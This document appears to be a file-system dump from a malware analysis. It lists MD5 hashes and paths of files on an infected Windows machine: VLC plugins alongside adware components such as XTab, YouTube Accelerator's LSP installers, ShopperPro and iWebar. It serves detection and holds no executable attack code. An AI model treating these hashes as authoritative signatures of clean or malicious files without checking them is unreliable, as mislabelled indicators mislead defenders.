b93d8c742e3f48c596386693332a1506	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libvc1_plugin.dll
e06dc4726df38e2c28333d003c28fc63	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libvobsub_plugin.dll
a850a2d7eaf89e773f2f2b052bf623c6	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libvoc_plugin.dll
22ea5723a1a6193d6c4f488ff333ea65	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libwav_plugin.dll
c66f4e59bf9f0dc1ee90cd26ddad96ac	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libxa_plugin.dll
782570662fb5fbe027b5ecf2b37f55ac	c:\Program Files (x86)\VideoLAN\VLC\plugins\gui\libqt4_plugin.dll
af8a0ece8eeb6c2bcf8db2f142117e4b	c:\Program Files (x86)\VideoLAN\VLC\plugins\gui\libskins2_plugin.dll
d8d72ff75f446c5bfc08731f881aecb1	c:\Program Files (x86)\VideoLAN\VLC\plugins\lua\liblua_plugin.dll
0dc0c06138c271c1f9f3d7f13c20225b	c:\Program Files (x86)\VideoLAN\VLC\plugins\meta_engine\libfolder_plugin.dll
b26b98f46be69d681cf687fb87e8faca	c:\Program Files (x86)\VideoLAN\VLC\plugins\meta_engine\libtaglib_plugin.dll
5401f1469169efbe12c2d784f7d1c565	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libaudioscrobbler_plugin.dll
1e78559c638e24b7cf1ba62cc560a02e	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libexport_plugin.dll
8f5702b68ad3ea355d88f59d5f4ba444	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libgnutls_plugin.dll
13b5954a6df8c3cbc66b35ec228d789f	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\liblogger_plugin.dll
14a630c831cf68283d3cec8bb7f638ff	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libmemcpy_plugin.dll
4d62c169209b5ba915be8f28d438ace6	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libosd_parser_plugin.dll
dfbcc84e34c40745002dceb7debcabf5	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libstats_plugin.dll
ec7dbf70519e64e636868f9b0dc18a1e	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libvod_rtsp_plugin.dll
399ec02c7a87af41c9c6fadede5856c7	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libxml_plugin.dll
f7a9d1fb30dee6d30dcd5d94b9443852	c:\Program Files (x86)\VideoLAN\VLC\plugins\mmx\libi420_rgb_mmx_plugin.dll
85008f762a614ba20c96bbb06671d442	c:\Program Files (x86)\VideoLAN\VLC\plugins\mmx\libi420_yuy2_mmx_plugin.dll
eeb4395e6fbc984a89fa1d50baed248a	c:\Program Files (x86)\VideoLAN\VLC\plugins\mmx\libi422_yuy2_mmx_plugin.dll
161ad8e008dc0c777766543365c167d7	c:\Program Files (x86)\VideoLAN\VLC\plugins\mmx\libmemcpymmx_plugin.dll
d1cd20c826197832a36ad4644b7b8a03	c:\Program Files (x86)\VideoLAN\VLC\plugins\mmxext\libmemcpymmxext_plugin.dll
feb4b4e42c3cacbe200ac480f6289dea	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_asf_plugin.dll
d6dc6bffcaa4da7c4716a065480436c3	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_avi_plugin.dll
fb3852f0bb4b6007918c21841f919d3b	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_dummy_plugin.dll
59a18934907ffbeb19139d9f3b302b20	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_mp4_plugin.dll
9250134d2dabf209f6da0436fa6be2ca	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_mpjpeg_plugin.dll
031d2e957eeb43a2e905e45268e5c8b2	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_ogg_plugin.dll
d5e79aecfc7337903506e9dadc442a21	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_ps_plugin.dll
34bff150510c0cff6fb6de331579733b	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_ts_plugin.dll
7f16580de13b50a010a45a7a4eac2a35	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_wav_plugin.dll
9c90b29e335f7ef51b3a64a6542269c0	c:\Program Files (x86)\VideoLAN\VLC\plugins\notify\libmsn_plugin.dll
5003654557046bee1371588a3e78a47c	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_copy_plugin.dll
86b18a8c9daf73dfc0fd5c532d376e25	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_dirac_plugin.dll
ce916dccea558a22fd67eea7d4a4f4b2	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_flac_plugin.dll
c3c86fbc9edc1e83ad211ed22f2b1271	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_h264_plugin.dll
e6186fca81a92e5ea481c5244a154f77	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mlp_plugin.dll
8ec3a62b091d32ea1ba7b9533ef4b101	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4audio_plugin.dll
4161a463341005f2e2ebf9f9f7812fd0	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4video_plugin.dll
8474dfcd75f6049a6c44e1af1b8988dd	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpegvideo_plugin.dll
5955f3a1e56882fe225cb73edc553fce	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_vc1_plugin.dll
62e6d0f0ff7242b8b7da5448b3ab3f68	c:\Program Files (x86)\VideoLAN\VLC\plugins\services_discovery\libmediadirs_plugin.dll
17a85be14233275add517155cda2a44f	c:\Program Files (x86)\VideoLAN\VLC\plugins\services_discovery\libpodcast_plugin.dll
79a44dfc1f4e46c01599acd61270cf6c	c:\Program Files (x86)\VideoLAN\VLC\plugins\services_discovery\libsap_plugin.dll
2f4da08744d20bf9140864fa67a69456	c:\Program Files (x86)\VideoLAN\VLC\plugins\services_discovery\libupnp_plugin.dll
a02b185d16b3286ee0a52765d8d9facf	c:\Program Files (x86)\VideoLAN\VLC\plugins\services_discovery\libwindrive_plugin.dll
0dea6e99691026df28d2b52731a74fff	c:\Program Files (x86)\VideoLAN\VLC\plugins\sse2\libi420_rgb_sse2_plugin.dll
1b71168f64767d35272cab7231ba0a1d	c:\Program Files (x86)\VideoLAN\VLC\plugins\sse2\libi420_yuy2_sse2_plugin.dll
723fa843c1493c9b28d81a5f32e4f8a7	c:\Program Files (x86)\VideoLAN\VLC\plugins\sse2\libi422_yuy2_sse2_plugin.dll
16bf4b7f4f202b001be17c5fea609016	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_dash_plugin.dll
b051ebeea47877801988a2e394161f65	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_httplive_plugin.dll
200c30165af6d1b1d60146c8edeb0ac4	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_record_plugin.dll
e336d6f1797d8bf5f0d3c77eaad11720	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_autodel_plugin.dll
88defa88d92e42e15fbb867c3da43d7f	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_bridge_plugin.dll
ff8272298be74d8faa6bb7f43bff0d57	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_delay_plugin.dll
1bc3e38aef4acbda41db510ee90a845b	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_description_plugin.dll
9d67e6f20ea62601f3c840089a97ae87	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_display_plugin.dll
79fb3e853b9dd9fe1e16c304ad892658	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_dummy_plugin.dll
cc9ca396a9ce60f116d52c3e8a1764df	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_duplicate_plugin.dll
003cb18dd47d1ff76261f6957d58039b	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_es_plugin.dll
e508245a654cec5b6bf56f7bd1d5722c	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_gather_plugin.dll
9f23813494cd981efe37e01192f92879	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_langfromtelx_plugin.dll
49d1c9ec376e81bd0de13b6f87d3f37b	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_mosaic_bridge_plugin.dll
c30bc6291e393dd3f868966dc33f5be7	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_raop_plugin.dll
5d5c7c4a541d201ebefd6a21f1245a53	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_record_plugin.dll
567a19638971add5e6a914aea35f8744	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_rtp_plugin.dll
510762c341cc223275bd671432af2679	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_select_plugin.dll
1741b0abd730aea320ee02162a89e5f5	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_setid_plugin.dll
9e70804e65410ca651f8b4176398bc2c	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_smem_plugin.dll
6e7951eb72eacfb5852e07f26e5ef7e0	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_standard_plugin.dll
c79938f69d86edd77d6f1acd537b13c9	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_transcode_plugin.dll
32dfe30b6ba9f639b40975d82abb36ba	c:\Program Files (x86)\VideoLAN\VLC\plugins\text_renderer\libfreetype_plugin.dll
1bff264f8f112a16c49d244f2e06a6ce	c:\Program Files (x86)\VideoLAN\VLC\plugins\text_renderer\libtdummy_plugin.dll
2a9ac67686a886f282acd2912ab14a46	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libgrey_yuv_plugin.dll
9175293839c27075abaf9487931bb07a	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_rgb_plugin.dll
50091b63fb11f5be35cbf903ad7b8d0a	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_yuy2_plugin.dll
9cb3571596e1cf6a61267e28557520c0	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_i420_plugin.dll
d7701f96d4fa6e87515a7c9449e43a30	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_yuy2_plugin.dll
72c9858cb940afe777af1a4e8f3569d9	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\librv32_plugin.dll
596a661ec3181bdd916b079f84c44958	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i420_plugin.dll
46f1360f1355b4a1ec54525cf6915f7b	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i422_plugin.dll
4c0c7a3741664e1ddadf783daa924e72	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libadjust_plugin.dll
9b221a5da46fb1ff36e88c8e3698d61a	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libalphamask_plugin.dll
e91c2291f8fba1c8af23c6612158e7f5	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libantiflicker_plugin.dll
8e2533acada887db39d20f497c22f0ac	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libatmo_plugin.dll
8ebcadd40a22de04d12b9dcff0451fca	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libaudiobargraph_v_plugin.dll
38a3605dfcac0ed616975ecab6b8e3bd	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libball_plugin.dll
78607a4b69ad68626e88ed800ebe9e53	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libblend_plugin.dll
3e557d3beef5b4aa14abb4c5033b09c0	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libblendbench_plugin.dll
7569b823a6f9dfbdaaa7bb80a24f6877	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libbluescreen_plugin.dll
7a75e35ae8fdf44ccd5110f3fc0914b3	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libcanvas_plugin.dll
3d2dfb89752eb9a3e67ed4b129b22f0f	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libchain_plugin.dll
f328a37032221353032628d814bdd9ec	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libclone_plugin.dll
e245165c7d110b15626e9e52dd3beb93	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libcolorthres_plugin.dll
2f99d9c87c17072a76b05c75cbc9559a	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libcroppadd_plugin.dll
348359aa899a6f09d568f35bf5b6bed4	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libdeinterlace_plugin.dll
361362ae79c573a1356f3154ea904df9	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\liberase_plugin.dll
8c041990b1b04e1db287a69258e65c84	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libextract_plugin.dll
0961650082b3e1b4a1833d27981544dc	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libgaussianblur_plugin.dll
86e3034804465df38cef236fe716fbf9	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libgradfun_plugin.dll
2747b88b548c7e5c3b040c534af6be81	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libgradient_plugin.dll
dd35f2741148c7649ab2224b8cb9e3b3	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libgrain_plugin.dll
802242566a6af3428937c92f55944bba	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libhqdn3d_plugin.dll
a767cc9d202b8b3ee9f4a2d9581a772c	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libinvert_plugin.dll
af3794ef80fd9b7f46e44bca309decfe	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\liblogo_plugin.dll
ee86d9e3f80a7c465e2d4c059fcf7da1	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmagnify_plugin.dll
46434176f5e44f6240d58ab966728a3f	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmarq_plugin.dll
2d0b422239110837b432a633dcdc9747	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmirror_plugin.dll
459e2460d36735091bb6823e370064e4	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmosaic_plugin.dll
0aa8c9fa111bd5deb46de1d2a178c229	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmotionblur_plugin.dll
9f8f5c6d27ec41df10fa63660bc40735	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmotiondetect_plugin.dll
b924c2e15cfe01477be5e4ff989e3f75	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libosdmenu_plugin.dll
e21eed46a5904e10779f74366d4926d1	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libpanoramix_plugin.dll
87854e35aff5f86be24ceae73361647f	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libposterize_plugin.dll
139ec9bc217e8d9fcdea0352000f011e	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libpostproc_plugin.dll
0999fd8c3d16e0848f58e243ae90af85	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libpsychedelic_plugin.dll
ec3e17ff604c327479de7428e1123dea	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libpuzzle_plugin.dll
294868a038216059da57f27cad27a163	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libremoteosd_plugin.dll
570b5c76a196b241479f86e8afa93495	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libripple_plugin.dll
b9e6cc630e378dd27d39ebd23e560a2a	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\librotate_plugin.dll
295727c82835f25ce477b99ca81e5219	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\librss_plugin.dll
b08b05cad8ebc00f839636f301f21fb5	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libscale_plugin.dll
10e9349044b74d78d40f7c11924208f1	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libscene_plugin.dll
14c1f79d3441f62743303064af1e1a77	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libsepia_plugin.dll
6e073c26fcea4be023d8227b28a09ab0	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libsharpen_plugin.dll
2448dae378000d8e6a6744ac9b2658bc	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libsubsdelay_plugin.dll
d20067b6493123e14e71ce123f64b5ef	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libswscale_plugin.dll
21edf52ed9349f9577a64b14ad00753f	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libtransform_plugin.dll
15723fd8a7937e9f0e56be70067c15f1	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libwall_plugin.dll
4dc8d5b3a5ad73205e13e3b92e9bce2b	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libwave_plugin.dll
5854d82da078f4baee8416e5d6f16feb	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libyuvp_plugin.dll
28aebc70dd1d670d00e62963bab0118a	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libcaca_plugin.dll
5adbf3171ed7b9dcecdfb15f84f6e89c	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libdirect2d_plugin.dll
6b23c3fafbd486ace843138f8eef7f62	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libdirect3d_plugin.dll
8e555f49434d870d7d349456cc547a7b	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libdirectx_plugin.dll
3f283ae2a9e1e64fcb7537b1bba5643b	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libdrawable_plugin.dll
267d8767f2d0cc1904ecbed460b930be	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libglwin32_plugin.dll
5144ac0fcc1904ad9901890de1df7186	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libvdummy_plugin.dll
af23aed24607f2d172e20534057f1a85	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libvmem_plugin.dll
bd8cba5ac282a83d204cb4ba3a3bbe6a	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libwingdi_plugin.dll
3300883f1dfd0204c3392d0c222e8dd9	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libyuv_plugin.dll
9d1047c4cb3839500b35e599759d634a	c:\Program Files (x86)\VideoLAN\VLC\plugins\visualization\libgoom_plugin.dll
046d22b7fdbd25b48439a87ce7e03c8f	c:\Program Files (x86)\VideoLAN\VLC\plugins\visualization\libprojectm_plugin.dll
5ee49464aad1227945c6ddcdba55db64	c:\Program Files (x86)\VideoLAN\VLC\plugins\visualization\libvisual_plugin.dll
8bb93b720f82c8621ff28b16f2581292	c:\Program Files (x86)\VideoLAN\VLC\uninstall.exe
5baf710acdd9dac40259049d02fc68ff	c:\Program Files (x86)\VideoLAN\VLC\vlc-cache-gen.exe
60edf8622cad337a3629e9e6561eac73	c:\Program Files (x86)\VideoLAN\VLC\vlc.exe
33a33e52e9c7db9063cbac82fa9e28d4	c:\Program Files (x86)\XTab\BrowerWatchCH.dll
9def3a62487338e892ce4fffa8efa5d2	c:\Program Files (x86)\XTab\BrowerWatchFF.dll
5785680870eff9ba7b4f58c726552013	c:\Program Files (x86)\XTab\BrowserAction.dll
7e4e734d5adbbc4026a5db2e63c29d40	c:\Program Files (x86)\XTab\CmdShell.exe
8c15f35314eadbe08375dd47ad62439a	c:\Program Files (x86)\XTab\HPNotify.exe
e6aac50b9fc19546c5e524c47be5d66d	c:\Program Files (x86)\XTab\IeWatchDog.dll
e98c5cfa4051bfa3e2cb0afb10ff4cab	c:\Program Files (x86)\XTab\ProtectService.exe
fc60e0ceb67207edd48ed4acbea5de98	c:\Program Files (x86)\XTab\SupTab.dll
3e29914113ec4b968ba5eb1f6d194a0a	c:\Program Files (x86)\XTab\msvcp110.dll
4ba25d2cbe1587a841dcfb8c8c4a6ea6	c:\Program Files (x86)\XTab\msvcr110.dll
ff73e8efe2b7f0f134dda89694299ff5	c:\Program Files (x86)\XTab\uninstall.exe
99762975ae78b591fa6699cc460bb5f7	c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.exe
43901c75bcf54be31a8f15bae77a3865	c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.sys
e0e06dca0f07ebaba0545450d0f69ade	c:\Program Files (x86)\YTAHelper\YTAHelper.dll
c254e02e1b6fe3b7f33426bebb9e6af2	c:\Program Files (x86)\YTAHelper\YTAHelper.exe
a3b46b4c5d373c51e6e489bb603dba9f	c:\Program Files (x86)\YTAHelper\YTAHelper64.dll
76f41068f2fa82523736c58c6a6a27db	c:\Program Files (x86)\YouTube Accelerator\Res.dll
973567b98cdfc147df4e60471d9df072	c:\Program Files (x86)\YouTube Accelerator\UNWISE.EXE
850e72f521667f04a1fa06bc92311b37	c:\Program Files (x86)\YouTube Accelerator\Updater.exe
29605c3fee628f62dea028a354425e3f	c:\Program Files (x86)\YouTube Accelerator\YTAHUninstall.exe
4a53830f2e9fa95a7873dcebd0249e80	c:\Program Files (x86)\YouTube Accelerator\YTAUninstall.exe
46e2c40e8adae15d5e3a164e7b65fe40	c:\Program Files (x86)\YouTube Accelerator\YouTubeAccelerator.exe
a77332904ccef3efc9dbb27bfc8dfd31	c:\Program Files (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe
3f4049d8bf040812a96680c5a6b377fd	c:\Program Files (x86)\YouTube Accelerator\cabex.dll
f756379f1f0fbad6bcf53170aa804918	c:\Program Files (x86)\YouTube Accelerator\engine.dll
81baf300ca0dc9a3d557d0e84567b1a2	c:\Program Files (x86)\YouTube Accelerator\helper.dll
c014a1dddb4677f54f88efaaa492ddce	c:\Program Files (x86)\YouTube Accelerator\ipc.dll
f6ac21939884df5c0201cdf1ead06b90	c:\Program Files (x86)\YouTube Accelerator\lspinst.exe
2c3a467735e2d937ce44034869b43231	c:\Program Files (x86)\YouTube Accelerator\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76	c:\Program Files (x86)\YouTube Accelerator\sporder.dll
5e2c0de2f0f15923154293dea89d196b	c:\Program Files (x86)\YouTube Accelerator\testlsp.exe
39d9593e5c43d81fe9724fb0f7b16cc0	c:\Program Files (x86)\YouTube Accelerator\unelevate.exe
e0024c585767d4851de5e7331ac91ee5	c:\Program Files (x86)\YouTube Accelerator\xmldb.dll
c84cbb44c3aca460522eba9bd033cd62	c:\Program Files (x86)\YouTube Accelerator\ytalsp.dll
6ef9bd416104b568d0db31fe528250c5	c:\Program Files (x86)\iWebar\Uninstall.exe
a24e111961147a26276c8a223d68d752	c:\Program Files (x86)\iWebar\fa685f8d-234c-469b-ad75-56eb948fe4f7-4.exe
7722b22ae5f0e354ccd9e477c003a2d1	c:\Program Files (x86)\iWebar\fa685f8d-234c-469b-ad75-56eb948fe4f7-5.exe
93e0012323f82913abd2225c2ef50bf8	c:\Program Files (x86)\iWebar\utils.exe
8e421dcabfbdef362fd59d6c07e6254a	c:\Program Files\Common Files\ShopperPro\spbia.exe
99f03685023d1f7c5b054e350ff1777b	c:\Program Files\Common Files\ShopperPro\spbici32.dll
eea15cef4e717591644d6f7c05ebd91b	c:\Program Files\Common Files\ShopperPro\spbici64.dll
8d9c4081a36697e2399e807537b5c0ea	c:\Program Files\Common Files\ShopperPro\spbii32.exe
ba05fe60ff116d6038c0897b9b89538f	c:\Program Files\Common Files\ShopperPro\spbii64.exe
e5cc90468b7a26c68bd642bd31644f1f	c:\Program Files\Common Files\ShopperPro\spbiu.exe
b096795ad533bcb17a9bdf2a086f6c23	c:\Program Files\Common Files\ShopperPro\spbiw.sys
694a08f19396a6654409971d7e9edd6f	c:\ProgramData\ShopperPro\ShopperPro.dll
72e5be95d3df6b352c958588ed895c7d	c:\ProgramData\ShopperPro\ShopperPro64.dll
f94557f8fd41731a3d180383a516fbe3	c:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe
e0e06dca0f07ebaba0545450d0f69ade	c:\ProgramData\YTAHelper\YTAHelper.dll
a3b46b4c5d373c51e6e489bb603dba9f	c:\ProgramData\YTAHelper\YTAHelper64.dll
694a08f19396a6654409971d7e9edd6f	c:\Users\All Users\ShopperPro\ShopperPro.dll
72e5be95d3df6b352c958588ed895c7d	c:\Users\All Users\ShopperPro\ShopperPro64.dll
f94557f8fd41731a3d180383a516fbe3	c:\Users\All Users\WindowsMangerProtect\ProtectWindowsManager.exe
e0e06dca0f07ebaba0545450d0f69ade	c:\Users\All Users\YTAHelper\YTAHelper.dll
a3b46b4c5d373c51e6e489bb603dba9f	c:\Users\All Users\YTAHelper\YTAHelper64.dll
a9f1ecb4159ecaf56bbe555f81374f25	c:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe
ea0ca98847dc1a403ffec3be116e8b2f	c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_31878\DCytaiesmt_smtyc_setup.exe
ea0ca98847dc1a403ffec3be116e8b2f	c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_740\DCytaiesmt_smtyc_setup.exe
3a2c68e9cbafd44cb7522aa5e917f196	c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\setup[1].exe
28d4501b68cacf6cb7fd19c59f93eb67	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\F6BD.tmp
0d478dc6b814d7885034d83dce50f07f	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_19625\ins_iwebar.exe
b3ab6897f8aec3c45275b32e521573bf	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_19625\ins_sense.exe
264d5a79c1ebf3bda62be98f2e6ff8b4	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_19625\ins_shopperpro.exe
f8076da03b6b36fa1ec0bd5a082d8d95	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_19625\ins_yta.exe
45960b40c1ecb75ed5549a80049879e1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx
76f41068f2fa82523736c58c6a6a27db	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll
29605c3fee628f62dea028a354425e3f	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe
6f4f8c2cb7e07436aa59a72c89fbaa4a	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelperSetup.exe
46e2c40e8adae15d5e3a164e7b65fe40	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe
a77332904ccef3efc9dbb27bfc8dfd31	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe
f756379f1f0fbad6bcf53170aa804918	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll
81baf300ca0dc9a3d557d0e84567b1a2	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll
c014a1dddb4677f54f88efaaa492ddce	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll
f6ac21939884df5c0201cdf1ead06b90	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe
2c3a467735e2d937ce44034869b43231	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll
5e2c0de2f0f15923154293dea89d196b	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe
39d9593e5c43d81fe9724fb0f7b16cc0	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe
850e72f521667f04a1fa06bc92311b37	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe
e0024c585767d4851de5e7331ac91ee5	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll
c84cbb44c3aca460522eba9bd033cd62	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll
4a53830f2e9fa95a7873dcebd0249e80	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe
518879abe3170dabd172dfffcd165598	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe
ac8f7611f353ca9803fad5ff81900678	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe
3f4049d8bf040812a96680c5a6b377fd	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll
6f7d9e111a17fab195efe0bbd3a0442d	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFD15.tmp\AccDownload.dll
